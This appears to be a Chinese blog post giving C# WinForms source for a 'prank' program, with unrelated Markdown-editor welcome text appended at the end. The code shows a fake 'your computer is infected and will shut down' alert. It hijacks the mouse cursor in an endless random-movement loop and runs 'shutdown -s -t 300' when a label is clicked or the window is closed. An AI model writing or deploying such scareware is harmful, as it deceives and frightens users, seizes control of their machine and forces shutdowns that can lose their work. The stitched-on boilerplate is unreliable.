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一个简单的winfrom整人代码_整人winfrom

整人winfrom

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主窗体代码 用到的控件有20个label控件,1个timer控件timer控件属性

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace shubiao
{
    public partial class Form2 : Form
    {
        public Form2()
        {
            InitializeComponent();
        }
         //窗体加载事件
        private void Form2_Load(object sender, EventArgs e)
        {
        //全屏代码
            this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
            this.WindowState = FormWindowState.Maximized;
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
        //label滚动
            label1.Text = new string(label1.Text.Skip(1).ToArray()) + label1.Text[0].ToString();
            label2.Text = new string(label2.Text.Skip(1).ToArray()) + label2.Text[0].ToString();
            label3.Text = new string(label3.Text.Skip(1).ToArray()) + label3.Text[0].ToString();
            label4.Text = new string(label4.Text.Skip(1).ToArray()) + label4.Text[0].ToString();
            label5.Text = new string(label5.Text.Skip(1).ToArray()) + label5.Text[0].ToString();
            label6.Text = new string(label6.Text.Skip(1).ToArray()) + label6.Text[0].ToString();
            label7.Text = new string(label1.Text.Skip(1).ToArray()) + label7.Text[0].ToString();
            label8.Text = new string(label8.Text.Skip(1).ToArray()) + label8.Text[0].ToString();
            label9.Text = new string(label9.Text.Skip(1).ToArray()) + label9.Text[0].ToString();
            label10.Text = new string(label10.Text.Skip(1).ToArray()) + label10.Text[0].ToString();
            label11.Text = new string(label11.Text.Skip(1).ToArray()) + label11.Text[0].ToString();
            label12.Text = new string(label12.Text.Skip(1).ToArray()) + label12.Text[0].ToString();
            label13.Text = new string(label13.Text.Skip(1).ToArray()) + label13.Text[0].ToString();
            label14.Text = new string(label14.Text.Skip(1).ToArray()) + label14.Text[0].ToString();
            label15.Text = new string(label15.Text.Skip(1).ToArray()) + label15.Text[0].ToString();
            label16.Text = new string(label16.Text.Skip(1).ToArray()) + label16.Text[0].ToString();
            label17.Text = new string(label17.Text.Skip(1).ToArray()) + label17.Text[0].ToString();
            label18.Text = new string(label18.Text.Skip(1).ToArray()) + label18.Text[0].ToString();
            label19.Text = new string(label19.Text.Skip(1).ToArray()) + label19.Text[0].ToString();
            label20.Text = new string(label20.Text.Skip(1).ToArray()) + label20.Text[0].ToString();
        }

        private void label19_Click(object sender, EventArgs e)
        {
        //关机程序  t后面写事件按秒计算
            System.Diagnostics.Process.Start("cmd.exe", "/cshutdown -s -t 300");
            Form1 f = new Form1();
            f.Show();
            this.Hide();
        }

        private void Form2_FormClosed(object sender, FormClosedEventArgs e)
        {
            System.Diagnostics.Process.Start("cmd.exe", "/cshutdown -s -t 300");
            Form1 f = new Form1();
            f.Show();
            this.Hide();
        }
    }
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鼠标乱动窗体代码 一个timer控件timer属性

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.InteropServices;
using System.Drawing;//获取分辨率用,下文的Height,Width
using System.Windows.Forms;//获取屏幕用,下文的 Screen
using System.Threading;//暂停用

namespace shubiao
{
    public partial class Form1 : Form
    {
        [DllImport("user32.dll", EntryPoint = "SetCursorPos")]//控制鼠标位置aip
        private static extern int SetCursorPos(int x, int y);//控制鼠标位置aip
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            MessageBox.Show("注意!注意!您电脑已中毒即将关机!");
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
        int Hights = Screen.PrimaryScreen.Bounds.Height;//获取高
            int Widths = Screen.PrimaryScreen.Bounds.Width;//获取宽
            int i = 0;
            while (true)
            {
                Random rd = new Random();//new随机数对象
                int h = rd.Next(0, Hights); //高:生成随机数
                int w = rd.Next(0, Widths); //宽:生成随机数
                SetCursorPos(w, h); //鼠标位置
                Thread.Sleep(1);
            }
        }

        }
    }
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欢迎使用Markdown编辑器

你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Markdown编辑器, 可以仔细阅读这篇文章,了解一下Markdown的基本语法知识。

新的改变

我们对Markdown编辑器进行了一些功能拓展与语法支持,除了标准的Markdown编辑器功能,我们增加了如下几点新功能,帮助你用它写博客:

  1. 全新的界面设计 ,将会带来全新的写作体验;
  2. 在创作中心设置你喜爱的代码高亮样式,Markdown 将代码片显示选择的高亮样式 进行展示;
  3. 增加了 图片拖拽 功能,你可以将本地的图片直接拖拽到编辑区域直接展示;
  4. 全新的 KaTeX数学公式 语法;
  5. 增加了支持甘特图的mermaid语法1 功能;
  6. 增加了 多屏幕编辑 Markdown文章功能;
  7. 增加了 焦点写作模式、预览模式、简洁写作模式、左右区域同步滚轮设置 等功能,功能按钮位于编辑区域与预览区域中间;
  8. 增加了 检查列表 功能。

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